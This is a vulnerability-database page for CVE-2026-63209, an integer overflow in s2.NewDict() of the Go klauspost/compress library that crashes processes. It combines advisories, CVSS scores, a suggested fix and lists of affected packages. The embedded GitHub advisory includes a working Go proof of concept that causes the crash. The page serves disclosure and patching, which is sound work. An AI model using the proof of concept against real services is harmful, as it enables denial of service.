Every CVE Search/ Get API key

CVE-2026-63209

Integer Overflow or Wraparound and Out-of-bounds Write in compress

7.5 HighFix available

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.57%Up 0.2 points since Sep 30, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Integer Overflow or Wraparound and Out-of-bounds Write in compress

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
CVE-2026-63209
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-190, CWE-787
Updated
2026-11-02
EUVDEUVD-2026-88977 7.5

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
EUVD-2026-88977
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-259r-337f-4rfw 7.5

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

  • Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

  1. Accepts user-supplied S2 dictionary data via s2.NewDict()
  2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Record
GHSA-259r-337f-4rfw
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-190, CWE-787
Updated
2026-11-02
NVD 7.5

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
CVE-2026-63209
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-190, CWE-787
Updated
2026-11-02
OSVBELL-CVE-2026-63209 7.5

CVE-2026-63209 does not affect BellSoft software

Record
BELL-CVE-2026-63209
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSV 7.5

Integer Overflow or Wraparound and Out-of-bounds Write in compress

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
CVE-2026-63209
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-190, CWE-787
Updated
2026-11-05
Show 48 moreShow less
OSVDEBIAN-CVE-2026-63209 7.5

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
DEBIAN-CVE-2026-63209
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-259r-337f-4rfw 7.5

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

  • Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

  1. Accepts user-supplied S2 dictionary data via s2.NewDict()
  2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Record
GHSA-259r-337f-4rfw
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-190, CWE-787
Updated
2026-11-02
OSVRHSA-2026:54413 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:54413
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:54419 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:54419
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:58472 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:58472
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68256 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:68256
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68272 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:68272
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68290 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:68290
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:68591 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:68591
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68717 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:68717
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68729 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:68729
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68806 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:68806
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:68808 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:68808
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:70031 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:70031
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:70670 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:70670
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:70684 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:70684
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:70726 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:70726
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72490 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72490
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72491 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72491
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72492 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72492
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72493 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72493
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72496 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72496
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72497 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72497
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:72498 8.1

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72498
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:72507 8.1

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72507
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:72570 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:72570
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-63209 7.5

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
UBUNTU-CVE-2026-63209
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVAZL-105534 No score

CVE-2026-63209 affecting package keda 2.14.1-19

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
AZL-105534
Updated
2026-11-02
OSVAZL-105906 No score

CVE-2026-63209 affecting package telegraf 1.31.0-33

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Record
AZL-105906
Updated
2026-11-02
OSVGO-2026-5841 No score

OOB read in github.com/klauspost/compress/s2

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

Record
GO-2026-5841
Updated
2026-11-02
OSVopenSUSE-SU-2026:11939-1 No score

amazon-cloudwatch-agent-1.300073.0-1.1 on GA media

These are all security issues fixed in the amazon-cloudwatch-agent-1.300073.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11939-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11953-1 No score

aliyun-cli-3.5.1-2.1 on GA media

These are all security issues fixed in the aliyun-cli-3.5.1-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11953-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11955-1 No score

cadvisor-0.60.6-1.1 on GA media

These are all security issues fixed in the cadvisor-0.60.6-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11955-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11957-1 No score

distribution-registry-3.1.1-9.1 on GA media

These are all security issues fixed in the distribution-registry-3.1.1-9.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11957-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11960-1 No score

crane-0.22.1-2.1 on GA media

These are all security issues fixed in the crane-0.22.1-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11960-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11961-1 No score

google-osconfig-agent-20260928.01-1.1 on GA media

These are all security issues fixed in the google-osconfig-agent-20260928.01-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11961-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11962-1 No score

hauler-2.1.1-1.1 on GA media

These are all security issues fixed in the hauler-2.1.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11962-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11963-1 No score

helm-4.3.0-4.1 on GA media

These are all security issues fixed in the helm-4.3.0-4.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11963-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11964-1 No score

helm3-3.22.0-3.1 on GA media

These are all security issues fixed in the helm3-3.22.0-3.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11964-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:12114-1 No score

alloy-1.20.1-1.1 on GA media

These are all security issues fixed in the alloy-1.20.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12114-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:12163-1 No score

gh-2.102.0-1.1 on GA media

These are all security issues fixed in the gh-2.102.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12163-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:12186-1 No score

rqlite-10.6.1-1.1 on GA media

These are all security issues fixed in the rqlite-10.6.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12186-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:22039-1 No score

Security update for distribution

This update for distribution fixes the following issue:

  • CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283762).
Record
openSUSE-SU-2026:22039-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:22057-1 No score

Security update for helm

This update for helm fixes the following issues:

  • CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283642).
  • CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).
  • CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
Record
openSUSE-SU-2026:22057-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:22078-1 No score

Security update for google-osconfig-agent

This update for google-osconfig-agent fixes the following issue:

  • CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283672).

Changes for google-osconfig-agent:

  • Update to version 20260928.01
  • scalibr linux new metadata support (#1038)
  • from version 20260928.00
  • Fix failing to report REBOOTING state during postPatchReboot due to context canceled for Windows VMs (#1055)
  • from version 20260923.03
  • Fix os/snap extractor usage (#1053)
  • Update to version 20260918.01
  • bump grpc package to new version (#1057)
  • from version 20260918.00
  • bump some dependencies across few modules (#1056)
  • Remove stale Go module version overrides in _service file
Record
openSUSE-SU-2026:22078-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:22116-1 No score

Security update for hauler

This update for hauler fixes the following issues:

Changes in hauler:

  • update to 2.1.1:

    • bumped go version to v1.26.7 (backport #771)
    • https registry auth fix (backport #763)
    • adjust supporting artifact retrieval (backport #777)
    • reject --platform on digest-pinned multi-platform images
    • fix: serve registry returns an empty /v2/_catalog list
    • added airgapped support for install.sh and added windows install.ps1
    • added/fixed basic auth with registry and fileserver
    • fixed store inventory race with concurrent processes
    • added type filter to store copy
    • fixed missing dirs in containers
    • updated github workflows with versions, permissions, and concurrency
  • update vendor.tar to fix:

    • bsc#1280110, CVE-2026-53495
Record
openSUSE-SU-2026:22116-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:22117-1 No score

Security update for cadvisor

This update for cadvisor fixes the following issues:

Changes in cadvisor:

  • update to 0.60.6:
    • workflows: mirror release tags to lib/ module tags
    • fs/zfs: fall back to VFS when zfs stats are unavailable
    • storage/stdout: nil-check Cpu, Network, and Memory stats
    • Treat memory-only NUMA nodes as valid topology
  • update vendor.tar to fix
    • bsc#1283657, CVE-2026-63209: cadvisor: github.com/klauspost/compress: signed integer overflow in s2.NewDict()
Record
openSUSE-SU-2026:22117-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:22134-1 No score

Security update for gh

This update for gh fixes the following issues:

Changes in gh:

  • Update to version 2.102.0, fixing four security issues (GHSA-39wj-f2f4-978v, GHSA-4mq3-hpgx-9cx8, GHSA-qcwj-mr2r-2cx7, GHSA-wjmr-j3rp-mh2g):

    • gh release/run/attestation download and repo read-file --output could write to an unintended file through symbolic links
    • gh attestation verify compared --source-ref case-insensitively
    • gh attestation verify matched --signer-workflow only by prefix
    • gh skill search could inject options into gh skill install
    • Copy auth codes to the clipboard by default (gh config set clipboard disabled to opt out)
    • Remove the gh repo garden command and the multi-account migration
    • Use API SSH URLs for repository clones
    • Validate repository names during interactive creation
    • Fix remote branch deletion on owner case mismatch
    • Propagate the gh path to extensions
    • Allow ghu_ tokens to attach files
    • Allow gh repo set-default --unset without an argument
    • Bump go-gh to 2.16.1, golang.org/x/crypto to 0.57.0, github.com/klauspost/compress to 1.20.1 and Go to 1.27.1
  • Update golang.org/x/net to 0.60.0 to fix excessive CPU consumption on repeated HTTP/2 initial window changes (CVE-2026-78669, bsc#1285291).

  • Require golang(API) >= 1.27 as upstream moved to Go 1.27.

  • Not affected, vendored dependencies are above the fixed version:

    • CVE-2026-84445 (bsc#1278962): grpc is 1.83.2, fixed in 1.83.2
    • CVE-2026-84304 (bsc#1279208), CVE-2026-84303 (bsc#1279310): grpc is 1.83.2, fixed in 1.83.1
    • CVE-2026-41178 (bsc#1276707): otel/baggage is 1.44.0, fixed in 1.44.0
    • CVE-2026-63209 (bsc#1283727): klauspost/compress is 1.20.1, contains the fix of 1.18.7
    • CVE-2026-72924 (bsc#1276755): gh is above 2.98.0, the fixed version
    • CVE-2026-59831 (bsc#1271215): gh is above 2.95.0, the last affected version
Record
openSUSE-SU-2026:22134-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/klauspost/compress
Go
through 1.18.6
1.18.7
keda
Azure Linux:3
through 2.14.1-19 None known
telegraf
Azure Linux:3
through 1.31.0-33 None known
golang-github-klauspost-compress
Debian:13
All versions, plus listed versions
1.18.0+ds1-11.18.1+ds1-11.18.6+ds1-11.18.6+ds1-21.19.0+ds1-11.19.0+ds1-21.20.0+ds1-1
None known
golang-github-klauspost-compress
Debian:14
before 1.19.0+ds1-1, plus listed versions
1.18.0+ds1-11.18.1+ds1-11.18.6+ds1-11.18.6+ds1-2
1.19.0+ds1-1
github.com/klauspost/compress
Go
before 1.18.7
1.18.7
github.com/klauspost/compress
Go
1.16.0 up to 1.18.7
1.18.7
nats-server2.12
Red Hat:hummingbird:1
before 0:2.12.15-0.1.hum1
0:2.12.15-0.1.hum1
k6v1
Red Hat:hummingbird:1
before 0:1.8.1-0.1.hum1
0:1.8.1-0.1.hum1
rekor
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.5.4-0.1.hum1
0:1.5.4-0.1.hum1
Show 99 moreShow less
Affected packages
PackageAffectedFixed
rekor-server
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.5.4-0.1.hum1
0:1.5.4-0.1.hum1
nats-server2.14
Red Hat:hummingbird:1
before 0:2.14.7-0.1.hum1
0:2.14.7-0.1.hum1
opentelemetry-collector
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:0.161.0-0.1.hum1
0:0.161.0-0.1.hum1
opentelemetry-collector-contrib
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:0.161.0-0.1.hum1
0:0.161.0-0.1.hum1
opentelemetry-collector-k8s
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:0.161.0-0.1.hum1
0:0.161.0-0.1.hum1
helm3
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:3.22.0-0.2.hum1
0:3.22.0-0.2.hum1
helm4
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:4.3.0-0.2.hum1
0:4.3.0-0.2.hum1
grype
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:0.119.0-0.1.hum1
0:0.119.0-0.1.hum1
syft
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.52.0-0.1.hum1
0:1.52.0-0.1.hum1
k6v2
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:2.3.0-0.1.hum1
0:2.3.0-0.1.hum1
buildah
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.45.1-1.hum1
0:1.45.1-1.hum1
skopeo
Red Hat:hummingbird:1
before 0:1.24.1-1.hum1
0:1.24.1-1.hum1
skopeo-tests
Red Hat:hummingbird:1
before 0:1.24.1-1.hum1
0:1.24.1-1.hum1
podman
Red Hat:hummingbird:1
before 0:6.1.2-1.hum1
0:6.1.2-1.hum1
podman-docker
Red Hat:hummingbird:1
before 0:6.1.2-1.hum1
0:6.1.2-1.hum1
podman-machine
Red Hat:hummingbird:1
before 0:6.1.2-1.hum1
0:6.1.2-1.hum1
podman-remote
Red Hat:hummingbird:1
before 0:6.1.2-1.hum1
0:6.1.2-1.hum1
podmansh
Red Hat:hummingbird:1
before 0:6.1.2-1.hum1
0:6.1.2-1.hum1
tempo2.10
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:2.10.8-0.4.hum1
0:2.10.8-0.4.hum1
tempo3.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:3.0.3-0.4.hum1
0:3.0.3-0.4.hum1
trivy
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:0.74.0-0.4.hum1
0:0.74.0-0.4.hum1
spire1.15
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:1.15.3-0.2.hum1
0:1.15.3-0.2.hum1
